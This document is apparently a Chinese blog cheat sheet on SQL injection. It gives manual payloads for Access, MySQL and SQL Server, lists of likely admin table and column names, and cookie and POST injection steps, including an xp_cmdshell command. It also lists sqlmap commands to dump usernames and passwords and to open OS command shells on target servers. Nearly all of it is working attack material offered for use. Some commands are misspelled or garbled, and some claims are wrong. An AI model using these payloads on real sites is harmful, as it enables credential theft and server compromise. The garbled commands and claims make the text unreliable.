Sqlmap注入技巧

php+mysql注入方法:http://tieba.baidu.com/p/3723202169

http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全

1:access注入
猜解表名 and exists (select * from admin)

猜解列名 and exists(select username from admin)

常用的表名 admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new

常用的列名 username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod

sqlmap注入access
sqlmap -u url
sqlmap -u url –tables
sqlmap -u url -T 数据库名称 –columns
sqlmap -u url -T 数据库名称 -C user,password –dump

MySQL注入
1:判断是否存在注入:and 1=1 and 1=2

2:查询当前页面所链接的数据库列名(前面要报错) order by

操作系统版本查询 @@version_compile_os
版本查询version()
查询当前页面所链接的数据库名字database()
数据库用户名字user()
3:查询表名 1,gooup_concat(table_name)3,4,5,6,…… from information_schema.tables where table_schema=database(转换16进制)

查列名1,gooup_concat(column_name)3,4,5,6,…… from information_schema.columns where table_name=表名(转换16进制)

4:查询数据:url union select1,2,3……..from admin

MySQL注入的sqlmap注入:
1:sqlmap.py -u “注入点”

2:sqlmap.py -u “注入点” –dbs(查数据库)

3:sqlmap.py -u “注入点” -D(指定表名)某表名 –tables (-T是指定数据名)

4:sqlmap.py -u “注入点” -D(指定表名) 某表名 -T admin C “username,password” –dump(爆数据)

cookie注入和post注入
网站传递参数的方式:
1:get形式 一般访问网页行为
2:cookie形式 伴随着所有访问网页的行为
3:post形式 上传文件,登陆

cookie形式注入原理就是对get传递来的参数进行了过滤,但是武略了cookie也可以传递参数

如何判断cookie注入(传输错如网页拦截之类的)
去掉id=xx 查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
清空浏览器地址栏,输入Javascript:alert(document.cookie=”id”=escape(“id参数”)) 按回车键后弹出一个对话框,内容是id=xx , 然后用原来的URL刷新页面,如果显示正常,说明应用是request(“id”)这种方式获取数据的

然后重复上面的步骤,讲常规的sql注入语句带入到上面的URL:Javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”))
Javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”))

和常规sql注入一样,如果分别返回正常是不正常,则说明存在注入漏洞,并且可以cookie注入

使用常规注入即可

用sqlmap进行cookie注入

sqlmap.py -u 注入点URL –cookie “id=xx” –level 3

sqlmap.py -u url –cookie “id=xx” –level 3 –tables(猜表名)

sqlmap.py -u url –cookie “id=xx” –level 3 -T 表名 –coiumns

sqlmap.py -u url –cookie “id=xx” –level 3 -T 表名 -C username,password –dump

post注入

判断post注入
‘;exec master..xp_cmdshell’iisreset’;

sqlmap的三种注入post注入方法
1:自动填写表单:
sqlmap.py -u URL –forms 直接一路回车
sql server 数据库类似于MySQL
sqlmap.py -u URL –forms –dbs(数据库)
注意:遇到数据库非常多,而且我们不知道管理账号密码存放在那个数据库中,我们该怎么办?如下:
sqlmap.py -u URL –forms –current-db(找当前数据库)
找表名:sqlmap.py -u URL –forms -D 数据库名称 –tables(猜解他数据库下的表名)
找列名:sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns
爆数据:sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -C username,password –dump
2:sqlmap结合burpsuite注入
抓包
sqlmap检测:sqlmap.py -r burpsuite抓包.txt
3:指定表单注入
burpsuite截包
sqlmap.py -u URL –data “username=a&password=a”

4:oracle注入

sqlmap交互式

交互式执行cmd命令:sqlmap.py -u URL –os-cmd=命令

交互式写入shell:sqlmap.py -u URL –os-shell 里面也可以执行cmd命令
在根目录下生成两个文件:tmpbxbxz.php 和tmpuoiuz.php

交互式执行sql命令:sqlmap.py -u URL –sql-shell 执行命令sql命令getshell

伪静态的注入:
sqlmap -u URL –dbs

延时注入:
sqlmap.py -u URL –technique -T –current-user

数字型,字符型,搜索型注入
数字型:select*from admin where id=$id
字符型:select*from admin where uid=’$uid’
搜索性:select*from admin where pid like’%$pid%’order by pid

注入方法:闭合注入,
字符型
闭合注入手法:’and’1’=’1
形成的SQL语句:select*from admin where uid=’$xx’and’1’=’1′
select*from admin where uid=’$xx’and’1’=’2′
注入方法
‘语句 and’1’=’1

搜索型
注入方法:%’and’%1%’=%1
%’语句 and’%1%’=%1

注释法
直接 order by 报错
注释order by 1–
–(2个斜杠是php注释的意思)

发表评论